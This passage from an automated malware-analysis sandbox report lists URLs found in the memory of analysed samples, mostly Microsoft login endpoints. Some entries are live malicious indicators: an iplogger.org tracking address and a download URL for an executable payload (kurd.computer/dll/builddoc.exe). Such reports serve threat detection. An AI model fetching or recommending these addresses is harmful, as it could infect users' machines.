00000005.00000002.2604784378.0000000002B04000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002B1D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002C65000.00000004.00000800.00020000.00000000.sdmp, aQ7CUsrnipUkMOjgF0nKuX1q.exe.5.dr, OEf7asb27AljF1U8YK72cN6l.exe.5.dr	String found in binary or memory: https://iplogger.org/rules/
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457084497.00000000043CA000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1453551457.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457040379.00000000043C7000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429282984.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/dll/builddoc.exe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429282984.00000000043C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/dll/builddoc.exe0
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457084497.00000000043CA000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1453551457.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457040379.00000000043C7000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429282984.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/dll/builddoc.exep
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457084497.00000000043CA000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1453551457.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457040379.00000000043C7000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429282984.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/dll/builddoc.exex_
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer:80/dll/builddoc.exe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer:80/dll/builddoc.exe)x
Source: svchost.exe, 00000034.00000003.1977042587.000001F4D9655000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1553593331.000001F4D86EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srfsrf
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srfrf
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000034.00000002.2848602818.000001F4D9613000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1977042587.000001F4D9655000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2853548341.000001F4D96A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000034.00000002.2848602818.000001F4D9613000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2853548341.000001F4D96A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf$
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srfice
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsec
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srfen
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srfuer
Source: svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000034.00000003.1518831614.000001F4D8F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-Dt
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600UE
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000034.00000003.1376226492.000001F4D8F6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfn
Source: svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=805021
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502R
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806043
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376112342.000001F4D8F57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000034.00000003.1361507616.000001F4D8F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp8
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379570012.000001F4D8F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000034.00000002.2848602818.000001F4D9613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srff
Source: svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
